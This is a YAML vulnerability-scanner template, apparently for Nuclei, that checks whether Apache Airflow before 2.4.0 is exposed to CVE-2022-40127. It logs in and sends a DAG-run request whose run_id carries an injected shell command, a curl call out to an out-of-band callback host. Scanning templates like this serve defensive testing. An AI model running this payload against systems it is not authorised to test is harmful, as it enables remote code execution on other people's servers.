86 lines
2.5 KiB
YAML
86 lines
2.5 KiB
YAML
id: CVE-2022-40127
|
|
|
|
info:
|
|
name: AirFlow < 2.4.0 - Remote Code Execution
|
|
author: DhiyaneshDk,ritikchaddha
|
|
severity: high
|
|
description: |
|
|
A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.
|
|
remediation: |
|
|
Upgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/Mr-xn/CVE-2022-40127
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-40127
|
|
- http://www.openwall.com/lists/oss-security/2022/11/14/2
|
|
- https://github.com/apache/airflow/pull/25960
|
|
- https://lists.apache.org/thread/cf132hgm6jvzvsbpsozl3plf1r4cwysy
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2022-40127
|
|
cwe-id: CWE-94
|
|
epss-score: 0.12805
|
|
epss-percentile: 0.94907
|
|
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: apache
|
|
product: airflow
|
|
shodan-query: title:"Sign In - Airflow"
|
|
tags: cve,cve2022,airflow,rce,oast,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}&_csrf_token={{csrf_token}}
|
|
- |
|
|
@timeout: 15s
|
|
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"conf": {
|
|
"dag_run": "{{randstr}}"
|
|
},
|
|
"dag_run_id": "id \"&& curl `whoami`.{{interactsh-url}}",
|
|
"logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z"
|
|
|
|
}
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 'state": "queued"'
|
|
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- dns
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: csrf_token
|
|
group: 1
|
|
regex:
|
|
- 'type="hidden" value="(.*?)">'
|
|
internal: true
|
|
|
|
# digest: 4a0a0047304502203643b1c43c3b645aaec65379879da3b56acdd3c00ca2854ba471b2817e59619f022100a6aff5d9919da80c7086100f7f93c9f77c4acda39b6368eda1baf05b6386f2d3:922c64590222798bb761d5b6d8e72950
|